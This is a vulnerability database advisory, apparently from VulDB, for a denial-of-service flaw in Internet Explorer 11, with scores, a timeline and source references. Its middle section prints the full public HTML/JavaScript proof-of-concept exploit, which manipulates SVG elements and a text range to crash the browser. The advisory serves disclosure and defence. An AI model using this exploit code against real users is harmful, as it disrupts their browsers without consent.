Microsoft Internet Explorer 11 denial of service

CVSS Meta Temp Score CVSS is a standardized scoring system to determine possibilities of attacks. The Temp Score considers temporal factors like disclosure, exploit and countermeasures. The unique Meta Score calculates the average score of different sources to provide a normalized scoring system.	Current Exploit Price (≈) Our analysts are monitoring exploit markets and are in contact with vulnerability brokers. The range indicates the observed or calculated exploit price to be seen on exploit markets. A good indicator to understand the monetary effort required for and the popularity of an attack.	CTI Interest Score Our Cyber Threat Intelligence team is monitoring different web sites, mailing lists, exploit markets and social media networks. The CTI Interest Score identifies the interest of attackers and the security community for this specific vulnerability in real-time. A high score indicates an elevated risk to be targeted for this vulnerability.
4.2	$0-$5k	0.00

Summaryinfo

A vulnerability marked as problematic has been reported in Microsoft Internet Explorer 11. The affected element is an unknown function. This manipulation causes denial of service. It is possible to initiate the attack remotely. Furthermore, there is an exploit available.

Detailsinfo

A vulnerability was found in Microsoft Internet Explorer 11 (Web Browser). It has been declared as problematic. Affected by this vulnerability is an unknown code. The manipulation with an unknown input leads to a denial of service vulnerability. The CWE definition for the vulnerability is CWE-404. The product does not release or incorrectly releases a resource before it is made available for re-use. As an impact it is known to affect availability.

The issue has been introduced in 06/26/2013. The weakness was shared 05/19/2015 by Garage4Hackers as EDB-ID 37060 as confirmed exploit (Exploit-DB). It is possible to read the advisory at exploit-db.com. The vendor was not involved in the public release. The attack can be launched remotely. The exploitation doesn't need any form of authentication. It demands that the victim is doing some kind of user interaction. Technical details are unknown but a public exploit is available. The attack technique deployed by this issue is T1499 according to MITRE ATT&CK.

A public exploit has been developed by Garage4Hackers (Garage4Hackers) in HTML/Javascript and been published immediately after the advisory. It is possible to download the exploit at exploit-db.com. It is declared as functional. The vulnerability was handled as a non-public zero-day exploit for at least 692 days. During that time the estimated underground price was around $5k-$25k. The code used by the exploit is:

<meta http-equiv="Content-type" content="text/html;charset=UTF-8">
<style>
*:nth-child(5)::before {
    content: 'moof';
}
*:nth-child(5)::after {
    content:'>>';
}
</style>
</HEAD><body>
<script>
elem0 = document.createElementNS('http://www.w3.org/2000/svg', 'svg')
elem1 = document.createElementNS('http://www.w3.org/2000/svg', 'feGaussianBlur')
elem2 = document.createElementNS('http://www.w3.org/2000/svg', 'svg')
elem3 = document.createElement('dd')
elem4 = document.createElement('map')
elem5 = document.createElement('i')
elem6 = document.createElementNS('http://www.w3.org/2000/svg', 'svg')
 
document.body.appendChild(elem0)
elem0.appendChild(elem1)
elem1.appendChild(elem2)
elem1.appendChild(elem3)
elem1.appendChild(elem4)
elem1.appendChild(elem5)
elem1.appendChild(elem6)
 
rangeTxt = document.body.createTextRange()      
randOldNode = document.documentElement.firstChild
randOldNode.parentNode.replaceChild(elem2, randOldNode)
rangeTxt.moveEnd('sentence', '-20')
 
</script>

There is no information about possible countermeasures known. It may be suggested to replace the affected object with an alternative product.

The vulnerability is also documented in the databases at X-Force (103298) and Exploit-DB (37060). Statistical analysis made it clear that VulDB provides the best quality for vulnerability data.

Productinfo

Type

Web Browser

Vendor

Microsoft

Name

Internet Explorer

Version

License

commercial

Support

end of life

Website

Vendor: https://www.microsoft.com/

CPE 2.3info

🔍

CPE 2.2info

🔍

CVSSv4info

VulDB Vector: 🔍
VulDB Reliability: 🔍

CVSSv3info

VulDB Meta Base Score: 4.3
VulDB Meta Temp Score: 4.2

VulDB Base Score: 4.3
VulDB Temp Score: 4.2
VulDB Vector: 🔍
VulDB Reliability: 🔍

CVSSv2info

AV	AC	Au	C	I	A
💳	💳	💳	💳	💳	💳
💳	💳	💳	💳	💳	💳
💳	💳	💳	💳	💳	💳

Vector	Complexity	Authentication	Confidentiality	Integrity	Availability
Unlock	Unlock	Unlock	Unlock	Unlock	Unlock
Unlock	Unlock	Unlock	Unlock	Unlock	Unlock
Unlock	Unlock	Unlock	Unlock	Unlock	Unlock

VulDB Base Score: 🔍
VulDB Temp Score: 🔍
VulDB Reliability: 🔍

Exploitinginfo

Class: Denial of service
CWE: CWE-404
CAPEC: 🔍
ATT&CK: 🔍

Physical: No
Local: No
Remote: Yes

Availability: 🔍
Access: Public
Status: Functional
Author: Garage4Hackers (Garage4Hackers)
Programming Language: 🔍
Download: 🔍
Price Prediction: 🔍
Current Price Estimation: 🔍

0-Day	Unlock	Unlock	Unlock	Unlock
Today	Unlock	Unlock	Unlock	Unlock

Exploit-DB: 🔍

Threat Intelligenceinfo

Interest: 🔍
Active Actors: 🔍
Active APT Groups: 🔍

Countermeasuresinfo

Recommended: no mitigation known
Status: 🔍

0-Day Time: 🔍
Exploit Delay Time: 🔍

Timelineinfo

06/26/2013 🔍
05/19/2015 +692 days 🔍
05/19/2015 +0 days 🔍
05/19/2015 +0 days 🔍
05/21/2015 +2 days 🔍
04/07/2017 +687 days 🔍

Sourcesinfo

Vendor: microsoft.com

Advisory: EDB-ID 37060
Researcher: Garage4Hackers
Status: Confirmed

GCVE (VulDB): GCVE-100-75499
X-Force: 103298 - Microsoft Internet Explorer denial of service

scip Labs: https://www.scip.ch/en/?labs.20161013

Entryinfo

Created: 05/21/2015 11:00
Updated: 04/07/2017 12:13
Changes: 05/21/2015 11:00 (54), 04/07/2017 12:13 (2)
Complete: 🔍
Cache ID: 216::103

Statistical analysis made it clear that VulDB provides the best quality for vulnerability data.